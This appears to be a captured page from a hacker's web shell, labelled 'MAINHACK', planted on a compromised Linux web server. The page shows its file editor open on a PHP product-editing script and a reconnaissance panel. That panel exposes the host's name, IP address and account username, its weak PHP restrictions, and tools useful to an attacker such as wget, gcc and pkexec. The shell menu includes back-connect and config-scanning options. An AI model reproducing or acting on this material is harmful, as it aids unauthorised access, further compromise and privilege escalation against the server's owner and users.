[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: edit_category.php
<?php session_start(); error_reporting(0); include('config.php'); if(isset($_POST['insert'])) { $eib= $_SESSION['editbid']; $category=$_POST['category']; $product=$_POST['product']; $price=$_POST['price']; $sql4="update tblproducts set CategoryName=:category,ProductName=:product,ProductPrice=:price where tblproducts.id=:eib"; $query=$dbh->prepare($sql4); $query->bindParam(':category',$category,PDO::PARAM_STR); $query->bindParam(':product',$product,PDO::PARAM_STR); $query->bindParam(':price',$price,PDO::PARAM_STR); $query->bindParam(':eib',$eib,PDO::PARAM_STR); $query->execute(); if ($query->execute()) { echo '<script>alert("updated successfuly")</script>'; echo "<script>window.location.href = 'index.php'</script>"; }else{ echo '<script>alert("update failed! try again later")</script>'; } } ?> <div class="card-body"> <?php $eid=$_POST['edit_id4']; $sql2="SELECT * from tblproducts where id=:eid"; $query2 = $dbh -> prepare($sql2); $query2-> bindParam(':eid', $eid, PDO::PARAM_STR); $query2->execute(); $results=$query2->fetchAll(PDO::FETCH_OBJ); if($query2->rowCount() > 0) { foreach($results as $row) { $_SESSION['editbid']=$row->id; ?> <form class="form-sample" method="post" enctype="multipart/form-data"> <div class="row"> <div class="form-group col-md-12"> <label class="col-sm-12 pl-0 pr-0">Category Name</label> <div class="col-sm-12 pl-0 pr-0"> <input type="text" name="category" id="category" class="form-control" value="<?php echo $row->CategoryName;?>" required /> </div> </div> </div> <div class="row"> <div class="form-group col-md-12"> <label class="col-sm-12 pl-0 pr-0">Product Name</label> <div class="col-sm-12 pl-0 pr-0"> <input type="text" name="product" value="<?php echo $row->ProductName;?>" class="form-control" required> </div> </div> </div> <div class="row"> <div class="form-group col-md-12 "> <label class="col-sm-12 pl-0 pr-0">Product Price</label> <div class="col-sm-12 pl-0 pr-0"> <input type="text" name="price" value="<?php echo $row->ProductPrice;?>" class="form-control" required> </div> </div> </div> <button type="submit" name="insert" class="btn btn-primary btn-fw mr-2" style="float: left;">Update</button> </form> <?php } } ?> </div>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.88 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002